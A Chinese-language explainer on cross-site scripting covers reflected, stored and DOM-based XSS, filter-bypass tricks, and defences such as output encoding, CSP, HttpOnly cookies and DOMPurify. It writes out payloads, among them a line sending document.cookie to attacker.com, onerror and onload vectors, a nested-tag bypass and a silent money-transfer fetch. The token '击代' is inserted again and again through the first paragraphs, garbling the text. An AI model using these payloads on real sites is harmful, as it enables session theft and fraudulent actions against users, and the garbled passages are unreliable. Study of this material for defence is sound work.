游客发表
一个留言板页面,击代用户提交了这样一条内容:<script>alert('xss')</script>。击代刷新之后,击代浏览器弹出了一个小窗口。击代就这么简单,击代一次XSS攻击完成了。击代
很多人第一次看到这行代码的击代反应是——就这?没有漏洞利用、没有提权、击代没有反弹shell,击代一个弹窗能干什么?击代这种想法很危险。弹窗只是击代证明“代码被执行了”,真正要命的击代是执行之后能做什么。把alert换成document.cookie,击代再通过new Image().src='http://attacker.com?击代c='+document.cookie发出去,你的击代登录态就到别人手里了。
反射型XSS的代码藏在URL参数里。比如搜索页面把关键词原样输出到HTML中:https://example.com/search?q=<script>...</script>。服务器没做转义,浏览器就把参数当代码跑了。这种攻击需要诱导受害者点击链接,一次性生效。
存储型XSS更狠。代码被存进数据库,所有访问该页面的用户都会中招。论坛帖子、用户昵称、商品评论——任何持久化存储用户输入的地方都可能成为入口。2005年MySpace的Samy蠕虫就是靠存储型XSS,20小时内感染了超过100万用户。
DOM型XSS比较特殊,代码根本没经过服务器。前端JS从location.hash取值,直接塞进innerHTML。服务器日志里干干净净,WAF也拦不住,因为请求里压根没有恶意载荷。
开发者学乖了,开始过滤<script>标签。攻击者就换标签:<img src=x onerror=alert(1)>。过滤onerror?试试<svg onload=alert(1)>。大小写混写、HTML实体编码、JavaScript的eval和String.fromCharCode,绕过方式层出不穷。
有个真实的例子:某网站过滤了script关键字,但没过滤scr加ipt的拼接。攻击者提交<scr<script>ipt>alert(1)</scr</script>ipt>,过滤函数删掉中间的<script>后,剩下的字符重新拼成了完整的标签。这种“过滤一次”的逻辑漏洞比不过滤还危险,因为它给人虚假的安全感。
输出编码。用户输入的数据在放入HTML不同位置时,用对应的编码方式处理。放进HTML标签之间用HTML实体编码,放进属性里用属性编码,放进<script>块里用JavaScript编码,放进URL里用URL编码。别想着过滤黑名单,黑名单永远列不全。
Content-Security-Policy是第二道防线。设置script-src 'self',内联脚本直接不执行。就算攻击者成功注入了代码,浏览器也会拒绝运行。这招对DOM型XSS尤其有效。
HttpOnly Cookie标记能防止JS读取document.cookie。但别把它当万能药——攻击者可以用XSS发起CSRF、可以读页面内容、可以键盘记录。HttpOnly只是让窃取会话变得困难一点。
框架层面,React的JSX默认转义、Vue的模板插值默认转义,但dangerouslySetInnerHTML和v-html就是给攻击者留的后门。用这些API的时候,确保内容来自可信来源,或者先用DOMPurify之类的库清洗一遍。
XSS不一定要弹窗。<script>fetch('/api/transfer',{ method:'POST',body:'to=attacker&amount=1000'})</script>——用户什么都没点,钱就转走了。这种攻击没有任何视觉反馈,用户完全无感。
还有更隐蔽的:通过XSS注入一个键盘记录器,监听所有输入框的keydown事件。用户输入密码的时候,每个按键都被记录下来发到远程服务器。页面看起来一切正常,没有任何异常行为。
XSS攻击代码本身很简单,几行字符而已。但它打开的是一扇门,门后面能做什么,取决于攻击者的想象力和目标的业务逻辑。别因为“只是个弹窗”就放松警惕。
```友情链接